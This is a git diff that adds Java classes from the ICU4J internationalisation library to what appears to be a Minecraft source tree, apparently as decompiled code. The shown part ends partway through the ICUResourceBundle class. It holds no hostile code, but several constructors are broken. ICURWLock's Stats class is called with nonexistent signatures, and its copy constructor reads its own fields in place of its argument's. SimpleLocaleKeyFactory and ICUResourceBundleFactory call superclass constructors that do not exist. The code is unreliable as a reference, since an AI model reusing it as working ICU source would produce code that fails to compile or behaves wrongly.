diff --git a/src/minecraft/com/ibm/icu/impl/ICUDataVersion.java b/src/minecraft/com/ibm/icu/impl/ICUDataVersion.java
new file mode 100644
index 0000000..96b0bd0
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUDataVersion.java
@@ -0,0 +1,36 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.VersionInfo;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+public final class ICUDataVersion
+{
+  private static final String U_ICU_VERSION_BUNDLE = "icuver";
+  private static final String U_ICU_DATA_KEY = "DataVersion";
+  
+  public ICUDataVersion() {}
+  
+  public static VersionInfo getDataVersion()
+  {
+    UResourceBundle icudatares = null;
+    try {
+      icudatares = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "icuver", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+      icudatares = icudatares.get("DataVersion");
+    } catch (MissingResourceException ex) {
+      return null;
+    }
+    
+    return VersionInfo.getInstance(icudatares.getString());
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUDebug.java b/src/minecraft/com/ibm/icu/impl/ICUDebug.java
new file mode 100644
index 0000000..ba5725a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUDebug.java
@@ -0,0 +1,171 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.VersionInfo;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ICUDebug
+{
+  private static String params;
+  private static boolean debug;
+  private static boolean help;
+  public static final String javaVersionString;
+  public static final boolean isJDK14OrHigher;
+  public static final VersionInfo javaVersion;
+  
+  public static VersionInfo getInstanceLenient(String s)
+  {
+    int[] ver = new int[4];
+    boolean numeric = false;
+    int i = 0;int vidx = 0;
+    while (i < s.length()) {
+      char c = s.charAt(i++);
+      if ((c < '0') || (c > '9')) {
+        if (numeric) {
+          if (vidx == 3) {
+            break;
+          }
+          
+          numeric = false;
+          vidx++;
+        }
+      }
+      else if (numeric) {
+        ver[vidx] = (ver[vidx] * 10 + (c - '0'));
+        if (ver[vidx] > 255)
+        {
+
+
+          ver[vidx] = 0;
+          break;
+        }
+      } else {
+        numeric = true;
+        ver[vidx] = (c - '0');
+      }
+    }
+    
+
+    return VersionInfo.getInstance(ver[0], ver[1], ver[2], ver[3]);
+  }
+  
+  static
+  {
+    try
+    {
+      params = System.getProperty("ICUDebug");
+    }
+    catch (SecurityException e) {}
+    
+
+    debug = params != null;
+    help = (debug) && ((params.equals("")) || (params.indexOf("help") != -1));
+    
+
+    if (debug) {
+      System.out.println("\nICUDebug=" + params);
+    }
+    
+
+    javaVersionString = System.getProperty("java.version", "0");
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    javaVersion = getInstanceLenient(javaVersionString);
+    
+    VersionInfo java14Version = VersionInfo.getInstance("1.4.0");
+    
+    isJDK14OrHigher = javaVersion.compareTo(java14Version) >= 0;
+  }
+  
+  public static boolean enabled() {
+    return debug;
+  }
+  
+  public static boolean enabled(String arg) {
+    if (debug) {
+      boolean result = params.indexOf(arg) != -1;
+      if (help) System.out.println("\nICUDebug.enabled(" + arg + ") = " + result);
+      return result;
+    }
+    return false;
+  }
+  
+  public static String value(String arg) {
+    String result = "false";
+    if (debug) {
+      int index = params.indexOf(arg);
+      if (index != -1) {
+        index += arg.length();
+        if ((params.length() > index) && (params.charAt(index) == '=')) {
+          index++;
+          int limit = params.indexOf(",", index);
+          result = params.substring(index, limit == -1 ? params.length() : limit);
+        } else {
+          result = "true";
+        }
+      }
+      
+      if (help) System.out.println("\nICUDebug.value(" + arg + ") = " + result);
+    }
+    return result;
+  }
+  
+  public ICUDebug() {}
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICULocaleService.java b/src/minecraft/com/ibm/icu/impl/ICULocaleService.java
new file mode 100644
index 0000000..c68bdf8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICULocaleService.java
@@ -0,0 +1,620 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import java.util.Collections;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ICULocaleService
+  extends ICUService
+{
+  private ULocale fallbackLocale;
+  private String fallbackLocaleName;
+  
+  public ICULocaleService() {}
+  
+  public ICULocaleService(String name)
+  {
+    super(name);
+  }
+  
+
+
+
+
+  public Object get(ULocale locale)
+  {
+    return get(locale, -1, null);
+  }
+  
+
+
+
+  public Object get(ULocale locale, int kind)
+  {
+    return get(locale, kind, null);
+  }
+  
+
+
+
+  public Object get(ULocale locale, ULocale[] actualReturn)
+  {
+    return get(locale, -1, actualReturn);
+  }
+  
+
+
+
+
+
+  public Object get(ULocale locale, int kind, ULocale[] actualReturn)
+  {
+    ICUService.Key key = createKey(locale, kind);
+    if (actualReturn == null) {
+      return getKey(key);
+    }
+    
+    String[] temp = new String[1];
+    Object result = getKey(key, temp);
+    if (result != null) {
+      int n = temp[0].indexOf("/");
+      if (n >= 0) {
+        temp[0] = temp[0].substring(n + 1);
+      }
+      actualReturn[0] = new ULocale(temp[0]);
+    }
+    return result;
+  }
+  
+
+
+
+
+  public ICUService.Factory registerObject(Object obj, ULocale locale)
+  {
+    return registerObject(obj, locale, -1, true);
+  }
+  
+
+
+
+
+  public ICUService.Factory registerObject(Object obj, ULocale locale, boolean visible)
+  {
+    return registerObject(obj, locale, -1, visible);
+  }
+  
+
+
+
+
+  public ICUService.Factory registerObject(Object obj, ULocale locale, int kind)
+  {
+    return registerObject(obj, locale, kind, true);
+  }
+  
+
+
+
+  public ICUService.Factory registerObject(Object obj, ULocale locale, int kind, boolean visible)
+  {
+    ICUService.Factory factory = new SimpleLocaleKeyFactory(obj, locale, kind, visible);
+    return registerFactory(factory);
+  }
+  
+
+
+
+
+  public Locale[] getAvailableLocales()
+  {
+    Set<String> visIDs = getVisibleIDs();
+    Locale[] locales = new Locale[visIDs.size()];
+    int n = 0;
+    for (String id : visIDs) {
+      Locale loc = LocaleUtility.getLocaleFromName(id);
+      locales[(n++)] = loc;
+    }
+    return locales;
+  }
+  
+
+
+
+  public ULocale[] getAvailableULocales()
+  {
+    Set<String> visIDs = getVisibleIDs();
+    ULocale[] locales = new ULocale[visIDs.size()];
+    int n = 0;
+    for (String id : visIDs) {
+      locales[(n++)] = new ULocale(id);
+    }
+    return locales;
+  }
+  
+
+
+  public static class LocaleKey
+    extends ICUService.Key
+  {
+    private int kind;
+    
+
+    private int varstart;
+    
+
+    private String primaryID;
+    
+
+    private String fallbackID;
+    
+
+    private String currentID;
+    
+
+    public static final int KIND_ANY = -1;
+    
+
+    public static LocaleKey createWithCanonicalFallback(String primaryID, String canonicalFallbackID)
+    {
+      return createWithCanonicalFallback(primaryID, canonicalFallbackID, -1);
+    }
+    
+
+
+    public static LocaleKey createWithCanonicalFallback(String primaryID, String canonicalFallbackID, int kind)
+    {
+      if (primaryID == null) {
+        return null;
+      }
+      String canonicalPrimaryID = ULocale.getName(primaryID);
+      return new LocaleKey(primaryID, canonicalPrimaryID, canonicalFallbackID, kind);
+    }
+    
+
+
+    public static LocaleKey createWithCanonical(ULocale locale, String canonicalFallbackID, int kind)
+    {
+      if (locale == null) {
+        return null;
+      }
+      String canonicalPrimaryID = locale.getName();
+      return new LocaleKey(canonicalPrimaryID, canonicalPrimaryID, canonicalFallbackID, kind);
+    }
+    
+
+
+
+
+
+    protected LocaleKey(String primaryID, String canonicalPrimaryID, String canonicalFallbackID, int kind)
+    {
+      super();
+      this.kind = kind;
+      
+      if ((canonicalPrimaryID == null) || (canonicalPrimaryID.equalsIgnoreCase("root"))) {
+        this.primaryID = "";
+        fallbackID = null;
+      } else {
+        int idx = canonicalPrimaryID.indexOf('@');
+        if ((idx == 4) && (canonicalPrimaryID.regionMatches(true, 0, "root", 0, 4))) {
+          this.primaryID = canonicalPrimaryID.substring(4);
+          varstart = 0;
+          fallbackID = null;
+        } else {
+          this.primaryID = canonicalPrimaryID;
+          varstart = idx;
+          
+          if ((canonicalFallbackID == null) || (this.primaryID.equals(canonicalFallbackID))) {
+            fallbackID = "";
+          } else {
+            fallbackID = canonicalFallbackID;
+          }
+        }
+      }
+      
+      currentID = (varstart == -1 ? this.primaryID : this.primaryID.substring(0, varstart));
+    }
+    
+
+
+    public String prefix()
+    {
+      return kind == -1 ? null : Integer.toString(kind());
+    }
+    
+
+
+    public int kind()
+    {
+      return kind;
+    }
+    
+
+
+    public String canonicalID()
+    {
+      return primaryID;
+    }
+    
+
+
+    public String currentID()
+    {
+      return currentID;
+    }
+    
+
+
+
+    public String currentDescriptor()
+    {
+      String result = currentID();
+      if (result != null) {
+        StringBuilder buf = new StringBuilder();
+        if (kind != -1) {
+          buf.append(prefix());
+        }
+        buf.append('/');
+        buf.append(result);
+        if (varstart != -1) {
+          buf.append(primaryID.substring(varstart, primaryID.length()));
+        }
+        result = buf.toString();
+      }
+      return result;
+    }
+    
+
+
+    public ULocale canonicalLocale()
+    {
+      return new ULocale(primaryID);
+    }
+    
+
+
+    public ULocale currentLocale()
+    {
+      if (varstart == -1) {
+        return new ULocale(currentID);
+      }
+      return new ULocale(currentID + primaryID.substring(varstart));
+    }
+    
+
+
+
+
+
+
+
+
+
+    public boolean fallback()
+    {
+      int x = currentID.lastIndexOf('_');
+      if (x != -1) {
+        do { x--; } while ((x >= 0) && (currentID.charAt(x) == '_'));
+        
+        currentID = currentID.substring(0, x + 1);
+        return true;
+      }
+      if (fallbackID != null) {
+        currentID = fallbackID;
+        if (fallbackID.length() == 0) {
+          fallbackID = null;
+        } else {
+          fallbackID = "";
+        }
+        return true;
+      }
+      currentID = null;
+      return false;
+    }
+    
+
+
+
+    public boolean isFallbackOf(String id)
+    {
+      return LocaleUtility.isFallbackOf(canonicalID(), id);
+    }
+  }
+  
+
+  public static abstract class LocaleKeyFactory
+    implements ICUService.Factory
+  {
+    protected final String name;
+    
+    protected final boolean visible;
+    
+    public static final boolean VISIBLE = true;
+    
+    public static final boolean INVISIBLE = false;
+    
+
+    protected LocaleKeyFactory(boolean visible)
+    {
+      this.visible = visible;
+      name = null;
+    }
+    
+
+
+    protected LocaleKeyFactory(boolean visible, String name)
+    {
+      this.visible = visible;
+      this.name = name;
+    }
+    
+
+
+
+
+    public Object create(ICUService.Key key, ICUService service)
+    {
+      if (handlesKey(key)) {
+        ICULocaleService.LocaleKey lkey = (ICULocaleService.LocaleKey)key;
+        int kind = lkey.kind();
+        
+        ULocale uloc = lkey.currentLocale();
+        return handleCreate(uloc, kind, service);
+      }
+      
+
+
+      return null;
+    }
+    
+    protected boolean handlesKey(ICUService.Key key) {
+      if (key != null) {
+        String id = key.currentID();
+        Set<String> supported = getSupportedIDs();
+        return supported.contains(id);
+      }
+      return false;
+    }
+    
+
+
+    public void updateVisibleIDs(Map<String, ICUService.Factory> result)
+    {
+      Set<String> cache = getSupportedIDs();
+      for (String id : cache) {
+        if (visible) {
+          result.put(id, this);
+        } else {
+          result.remove(id);
+        }
+      }
+    }
+    
+
+
+
+
+    public String getDisplayName(String id, ULocale locale)
+    {
+      if (locale == null) {
+        return id;
+      }
+      ULocale loc = new ULocale(id);
+      return loc.getDisplayName(locale);
+    }
+    
+
+
+
+
+
+
+    protected Object handleCreate(ULocale loc, int kind, ICUService service)
+    {
+      return null;
+    }
+    
+
+
+
+
+    protected boolean isSupportedID(String id)
+    {
+      return getSupportedIDs().contains(id);
+    }
+    
+
+
+
+
+    protected Set<String> getSupportedIDs()
+    {
+      return Collections.emptySet();
+    }
+    
+
+
+    public String toString()
+    {
+      StringBuilder buf = new StringBuilder(super.toString());
+      if (name != null) {
+        buf.append(", name: ");
+        buf.append(name);
+      }
+      buf.append(", visible: ");
+      buf.append(visible);
+      return buf.toString();
+    }
+  }
+  
+
+  public static class SimpleLocaleKeyFactory
+    extends ICULocaleService.LocaleKeyFactory
+  {
+    private final Object obj;
+    private final String id;
+    private final int kind;
+    
+    public SimpleLocaleKeyFactory(Object obj, ULocale locale, int kind, boolean visible)
+    {
+      this(obj, locale, kind, visible, null);
+    }
+    
+    public SimpleLocaleKeyFactory(Object obj, ULocale locale, int kind, boolean visible, String name) {
+      super(name);
+      
+      this.obj = obj;
+      id = locale.getBaseName();
+      this.kind = kind;
+    }
+    
+
+
+    public Object create(ICUService.Key key, ICUService service)
+    {
+      if (!(key instanceof ICULocaleService.LocaleKey)) {
+        return null;
+      }
+      
+      ICULocaleService.LocaleKey lkey = (ICULocaleService.LocaleKey)key;
+      if ((kind != -1) && (kind != lkey.kind())) {
+        return null;
+      }
+      if (!id.equals(lkey.currentID())) {
+        return null;
+      }
+      
+      return obj;
+    }
+    
+    protected boolean isSupportedID(String idToCheck) {
+      return id.equals(idToCheck);
+    }
+    
+    public void updateVisibleIDs(Map<String, ICUService.Factory> result) {
+      if (visible) {
+        result.put(id, this);
+      } else {
+        result.remove(id);
+      }
+    }
+    
+    public String toString() {
+      StringBuilder buf = new StringBuilder(super.toString());
+      buf.append(", id: ");
+      buf.append(id);
+      buf.append(", kind: ");
+      buf.append(kind);
+      return buf.toString();
+    }
+  }
+  
+
+
+
+
+  public static class ICUResourceBundleFactory
+    extends ICULocaleService.LocaleKeyFactory
+  {
+    protected final String bundleName;
+    
+
+
+
+    public ICUResourceBundleFactory()
+    {
+      this("com/ibm/icu/impl/data/icudt51b");
+    }
+    
+
+
+
+    public ICUResourceBundleFactory(String bundleName)
+    {
+      super();
+      
+      this.bundleName = bundleName;
+    }
+    
+
+
+    protected Set<String> getSupportedIDs()
+    {
+      return ICUResourceBundle.getFullLocaleNameSet(bundleName, loader());
+    }
+    
+
+
+    public void updateVisibleIDs(Map<String, ICUService.Factory> result)
+    {
+      Set<String> visibleIDs = ICUResourceBundle.getAvailableLocaleNameSet(bundleName, loader());
+      for (String id : visibleIDs) {
+        result.put(id, this);
+      }
+    }
+    
+
+
+
+    protected Object handleCreate(ULocale loc, int kind, ICUService service)
+    {
+      return ICUResourceBundle.getBundleInstance(bundleName, loc, loader());
+    }
+    
+    protected ClassLoader loader() {
+      ClassLoader cl = getClass().getClassLoader();
+      if (cl == null) {
+        cl = Utility.getFallbackClassLoader();
+      }
+      return cl;
+    }
+    
+    public String toString() {
+      return super.toString() + ", bundle: " + bundleName;
+    }
+  }
+  
+
+
+
+  public String validateFallbackLocale()
+  {
+    ULocale loc = ULocale.getDefault();
+    if (loc != fallbackLocale) {
+      synchronized (this) {
+        if (loc != fallbackLocale) {
+          fallbackLocale = loc;
+          fallbackLocaleName = loc.getBaseName();
+          clearServiceCache();
+        }
+      }
+    }
+    return fallbackLocaleName;
+  }
+  
+  public ICUService.Key createKey(String id) {
+    return LocaleKey.createWithCanonicalFallback(id, validateFallbackLocale());
+  }
+  
+  public ICUService.Key createKey(String id, int kind) {
+    return LocaleKey.createWithCanonicalFallback(id, validateFallbackLocale(), kind);
+  }
+  
+  public ICUService.Key createKey(ULocale l, int kind) {
+    return LocaleKey.createWithCanonical(l, validateFallbackLocale(), kind);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUNotifier.java b/src/minecraft/com/ibm/icu/impl/ICUNotifier.java
new file mode 100644
index 0000000..e5eba57
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUNotifier.java
@@ -0,0 +1,157 @@
+package com.ibm.icu.impl;
+
+import java.util.ArrayList;
+import java.util.EventListener;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ICUNotifier
+{
+  private final Object notifyLock;
+  private NotifyThread notifyThread;
+  private List<EventListener> listeners;
+  
+  public ICUNotifier()
+  {
+    notifyLock = new Object();
+  }
+  
+
+
+
+
+
+
+
+  public void addListener(EventListener l)
+  {
+    if (l == null) {
+      throw new NullPointerException();
+    }
+    
+    if (acceptsListener(l)) {
+      synchronized (notifyLock) {
+        if (listeners == null) {
+          listeners = new ArrayList();
+        }
+        else {
+          for (EventListener ll : listeners) {
+            if (ll == l) {
+              return;
+            }
+          }
+        }
+        
+        listeners.add(l);
+      }
+    } else {
+      throw new IllegalStateException("Listener invalid for this notifier.");
+    }
+  }
+  
+
+
+
+
+  public void removeListener(EventListener l)
+  {
+    if (l == null) {
+      throw new NullPointerException();
+    }
+    synchronized (notifyLock) {
+      if (listeners != null)
+      {
+        Iterator<EventListener> iter = listeners.iterator();
+        while (iter.hasNext()) {
+          if (iter.next() == l) {
+            iter.remove();
+            if (listeners.size() == 0) {
+              listeners = null;
+            }
+            return;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void notifyChanged()
+  {
+    if (listeners != null)
+      synchronized (notifyLock) {
+        if (listeners != null) {
+          if (notifyThread == null) {
+            notifyThread = new NotifyThread(this);
+            notifyThread.setDaemon(true);
+            notifyThread.start();
+          }
+          notifyThread.queue((EventListener[])listeners.toArray(new EventListener[listeners.size()]));
+        }
+      }
+  }
+  
+  protected abstract boolean acceptsListener(EventListener paramEventListener);
+  
+  protected abstract void notifyListener(EventListener paramEventListener);
+  
+  private static class NotifyThread extends Thread {
+    private final ICUNotifier notifier;
+    private final List<EventListener[]> queue = new ArrayList();
+    
+    NotifyThread(ICUNotifier notifier) {
+      this.notifier = notifier;
+    }
+    
+
+
+    public void queue(EventListener[] list)
+    {
+      synchronized (this) {
+        queue.add(list);
+        notify();
+      }
+    }
+    
+
+    public void run()
+    {
+      try
+      {
+        for (;;)
+        {
+          EventListener[] list;
+          synchronized (this) {
+            if (queue.isEmpty()) {
+              wait(); continue;
+            }
+            list = (EventListener[])queue.remove(0);
+          }
+          
+          for (int i = 0; i < list.length; i++) {
+            notifier.notifyListener(list[i]);
+          }
+        }
+      }
+      catch (InterruptedException e) {}
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICURWLock.java b/src/minecraft/com/ibm/icu/impl/ICURWLock.java
new file mode 100644
index 0000000..ae8fea9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICURWLock.java
@@ -0,0 +1,295 @@
+package com.ibm.icu.impl;
+
+
+
+public class ICURWLock
+{
+  private Object writeLock;
+  
+
+  private Object readLock;
+  
+
+  private int wwc;
+  
+
+  private int rc;
+  
+
+  private int wrc;
+  
+
+  private Stats stats;
+  
+
+  private static final int NOTIFY_NONE = 0;
+  
+  private static final int NOTIFY_WRITERS = 1;
+  
+  private static final int NOTIFY_READERS = 2;
+  
+
+  public ICURWLock()
+  {
+    writeLock = new Object();
+    readLock = new Object();
+    
+
+
+
+    stats = new Stats(null);
+  }
+  
+
+
+
+  public static final class Stats
+  {
+    public int _rc;
+    
+
+
+    public int _mrc;
+    
+
+
+    public int _wrc;
+    
+
+
+    public int _wc;
+    
+
+
+    public int _wwc;
+    
+
+
+
+    private Stats() {}
+    
+
+
+    private Stats(int rc, int mrc, int wrc, int wc, int wwc)
+    {
+      _rc = rc;
+      _mrc = mrc;
+      _wrc = wrc;
+      _wc = wc;
+      _wwc = wwc;
+    }
+    
+    private Stats(Stats rhs) {
+      this(_rc, _mrc, _wrc, _wc, _wwc);
+    }
+    
+
+
+    public String toString()
+    {
+      return " rc: " + _rc + " mrc: " + _mrc + " wrc: " + _wrc + " wc: " + _wc + " wwc: " + _wwc;
+    }
+  }
+  
+
+
+
+
+
+
+  public synchronized Stats resetStats()
+  {
+    Stats result = stats;
+    stats = new Stats(null);
+    return result;
+  }
+  
+
+
+  public synchronized Stats clearStats()
+  {
+    Stats result = stats;
+    stats = null;
+    return result;
+  }
+  
+
+
+  public synchronized Stats getStats()
+  {
+    return stats == null ? null : new Stats(stats, null);
+  }
+  
+
+  private synchronized boolean gotRead()
+  {
+    rc += 1;
+    if (stats != null) {
+      stats._rc += 1;
+      if (rc > 1) stats._mrc += 1;
+    }
+    return true;
+  }
+  
+  private synchronized boolean getRead() {
+    if ((rc >= 0) && (wwc == 0)) {
+      return gotRead();
+    }
+    wrc += 1;
+    return false;
+  }
+  
+  private synchronized boolean retryRead() {
+    if (stats != null) stats._wrc += 1;
+    if ((rc >= 0) && (wwc == 0)) {
+      wrc -= 1;
+      return gotRead();
+    }
+    return false;
+  }
+  
+  private synchronized boolean finishRead() {
+    if (rc > 0) {
+      return (0 == --rc) && (wwc > 0);
+    }
+    throw new IllegalStateException("no current reader to release");
+  }
+  
+  private synchronized boolean gotWrite() {
+    rc = -1;
+    if (stats != null) {
+      stats._wc += 1;
+    }
+    return true;
+  }
+  
+  private synchronized boolean getWrite() {
+    if (rc == 0) {
+      return gotWrite();
+    }
+    wwc += 1;
+    return false;
+  }
+  
+  private synchronized boolean retryWrite() {
+    if (stats != null) stats._wwc += 1;
+    if (rc == 0) {
+      wwc -= 1;
+      return gotWrite();
+    }
+    return false;
+  }
+  
+
+
+
+  private synchronized int finishWrite()
+  {
+    if (rc < 0) {
+      rc = 0;
+      if (wwc > 0)
+        return 1;
+      if (wrc > 0) {
+        return 2;
+      }
+      return 0;
+    }
+    
+    throw new IllegalStateException("no current writer to release");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void acquireRead()
+  {
+    if (!getRead()) {
+      try {
+        for (;;) {
+          synchronized (readLock) {
+            readLock.wait();
+          }
+          if (retryRead()) {
+            return;
+          }
+        }
+      }
+      catch (InterruptedException e) {}
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void releaseRead()
+  {
+    if (finishRead()) {
+      synchronized (writeLock) {
+        writeLock.notify();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void acquireWrite()
+  {
+    if (!getWrite()) {
+      try {
+        for (;;) {
+          synchronized (writeLock) {
+            writeLock.wait();
+          }
+          if (retryWrite()) {
+            return;
+          }
+        }
+      }
+      catch (InterruptedException e) {}
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void releaseWrite()
+  {
+    switch (finishWrite()) {
+    case 1: 
+      synchronized (writeLock) {
+        writeLock.notify();
+      }
+      break;
+    case 2: 
+      synchronized (readLock) {
+        readLock.notifyAll();
+      }
+      break;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUResourceBundle.java b/src/minecraft/com/ibm/icu/impl/ICUResourceBundle.java
new file mode 100644
index 0000000..c0ac5ca
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUResourceBundle.java
@@ -0,0 +1,1448 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.net.URL;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+import java.util.Set;
+import java.util.StringTokenizer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ICUResourceBundle
+  extends UResourceBundle
+{
+  protected static final String ICU_DATA_PATH = "com/ibm/icu/impl/";
+  public static final String ICU_BUNDLE = "data/icudt51b";
+  public static final String ICU_BASE_NAME = "com/ibm/icu/impl/data/icudt51b";
+  public static final String ICU_COLLATION_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/coll";
+  public static final String ICU_BRKITR_NAME = "/brkitr";
+  public static final String ICU_BRKITR_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/brkitr";
+  public static final String ICU_RBNF_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/rbnf";
+  public static final String ICU_TRANSLIT_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/translit";
+  public static final String ICU_LANG_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/lang";
+  public static final String ICU_CURR_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/curr";
+  public static final String ICU_REGION_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/region";
+  public static final String ICU_ZONE_BASE_NAME = "com/ibm/icu/impl/data/icudt51b/zone";
+  private static final String NO_INHERITANCE_MARKER = "∅∅∅";
+  protected String resPath;
+  public static final ClassLoader ICU_DATA_CLASS_LOADER;
+  protected static final String INSTALLED_LOCALES = "InstalledLocales";
+  public static final int FROM_FALLBACK = 1;
+  public static final int FROM_ROOT = 2;
+  public static final int FROM_DEFAULT = 3;
+  public static final int FROM_LOCALE = 4;
+  
+  static
+  {
+    ClassLoader loader = ICUData.class.getClassLoader();
+    if (loader == null) {
+      loader = Utility.getFallbackClassLoader();
+    }
+    ICU_DATA_CLASS_LOADER = loader;
+  }
+  
+
+
+
+
+
+
+
+  private int loadingStatus = -1;
+  private static final String ICU_RESOURCE_INDEX = "res_index";
+  
+  public void setLoadingStatus(int newStatus) { loadingStatus = newStatus; }
+  
+
+
+
+
+
+
+  public int getLoadingStatus()
+  {
+    return loadingStatus;
+  }
+  
+  public void setLoadingStatus(String requestedLocale) {
+    String locale = getLocaleID();
+    if (locale.equals("root")) {
+      setLoadingStatus(2);
+    } else if (locale.equals(requestedLocale)) {
+      setLoadingStatus(4);
+    } else {
+      setLoadingStatus(1);
+    }
+  }
+  
+
+
+
+  public String getResPath()
+  {
+    return resPath;
+  }
+  
+
+
+
+
+
+  private static final String DEFAULT_TAG = "default";
+  
+
+
+
+  private static final String FULL_LOCALE_NAMES_LIST = "fullLocaleNames.lst";
+  
+
+
+
+  public static final ULocale getFunctionalEquivalent(String baseName, ClassLoader loader, String resName, String keyword, ULocale locID, boolean[] isAvailable, boolean omitDefault)
+  {
+    String kwVal = locID.getKeywordValue(keyword);
+    String baseLoc = locID.getBaseName();
+    String defStr = null;
+    ULocale parent = new ULocale(baseLoc);
+    ULocale defLoc = null;
+    boolean lookForDefault = false;
+    ULocale fullBase = null;
+    int defDepth = 0;
+    int resDepth = 0;
+    
+    if ((kwVal == null) || (kwVal.length() == 0) || (kwVal.equals("default")))
+    {
+      kwVal = "";
+      lookForDefault = true;
+    }
+    
+
+    ICUResourceBundle r = null;
+    
+    r = (ICUResourceBundle)UResourceBundle.getBundleInstance(baseName, parent);
+    if (isAvailable != null) {
+      isAvailable[0] = false;
+      ULocale[] availableULocales = getAvailEntry(baseName, loader).getULocaleList();
+      for (int i = 0; i < availableULocales.length; i++) {
+        if (parent.equals(availableULocales[i])) {
+          isAvailable[0] = true;
+          break;
+        }
+      }
+    }
+    do
+    {
+      try {
+        ICUResourceBundle irb = (ICUResourceBundle)r.get(resName);
+        defStr = irb.getString("default");
+        if (lookForDefault == true) {
+          kwVal = defStr;
+          lookForDefault = false;
+        }
+        defLoc = r.getULocale();
+      }
+      catch (MissingResourceException t) {}
+      
+      if (defLoc == null) {
+        r = (ICUResourceBundle)r.getParent();
+        defDepth++;
+      }
+    } while ((r != null) && (defLoc == null));
+    
+
+    parent = new ULocale(baseLoc);
+    r = (ICUResourceBundle)UResourceBundle.getBundleInstance(baseName, parent);
+    do
+    {
+      try {
+        ICUResourceBundle irb = (ICUResourceBundle)r.get(resName);
+        irb.get(kwVal);
+        fullBase = irb.getULocale();
+        
+
+
+        if ((fullBase != null) && (resDepth > defDepth)) {
+          defStr = irb.getString("default");
+          defLoc = r.getULocale();
+          defDepth = resDepth;
+        }
+      }
+      catch (MissingResourceException t) {}
+      
+      if (fullBase == null) {
+        r = (ICUResourceBundle)r.getParent();
+        resDepth++;
+      }
+    } while ((r != null) && (fullBase == null));
+    
+    if ((fullBase == null) && (defStr != null) && (!defStr.equals(kwVal)))
+    {
+
+
+      kwVal = defStr;
+      parent = new ULocale(baseLoc);
+      r = (ICUResourceBundle)UResourceBundle.getBundleInstance(baseName, parent);
+      resDepth = 0;
+      do
+      {
+        try {
+          ICUResourceBundle irb = (ICUResourceBundle)r.get(resName);
+          UResourceBundle urb = irb.get(kwVal);
+          
+
+          fullBase = r.getULocale();
+          
+
+
+          if (!fullBase.toString().equals(urb.getLocale().toString())) {
+            fullBase = null;
+          }
+          
+
+
+          if ((fullBase != null) && (resDepth > defDepth)) {
+            defStr = irb.getString("default");
+            defLoc = r.getULocale();
+            defDepth = resDepth;
+          }
+        }
+        catch (MissingResourceException t) {}
+        
+        if (fullBase == null) {
+          r = (ICUResourceBundle)r.getParent();
+          resDepth++;
+        }
+      } while ((r != null) && (fullBase == null));
+    }
+    
+    if (fullBase == null) {
+      throw new MissingResourceException("Could not find locale containing requested or default keyword.", baseName, keyword + "=" + kwVal);
+    }
+    
+
+
+    if ((omitDefault) && (defStr.equals(kwVal)) && (resDepth <= defDepth))
+    {
+
+      return fullBase;
+    }
+    return new ULocale(fullBase.toString() + "@" + keyword + "=" + kwVal);
+  }
+  
+
+
+
+
+
+
+
+  public static final String[] getKeywordValues(String baseName, String keyword)
+  {
+    Set<String> keywords = new HashSet();
+    ULocale[] locales = createULocaleList(baseName, ICU_DATA_CLASS_LOADER);
+    
+
+    for (int i = 0; i < locales.length; i++) {
+      try {
+        UResourceBundle b = UResourceBundle.getBundleInstance(baseName, locales[i]);
+        
+        ICUResourceBundle irb = (ICUResourceBundle)b.getObject(keyword);
+        Enumeration<String> e = irb.getKeys();
+        while (e.hasMoreElements()) {
+          String s = (String)e.nextElement();
+          if (!"default".equals(s))
+          {
+            keywords.add(s);
+          }
+        }
+      }
+      catch (Throwable t) {}
+    }
+    
+
+
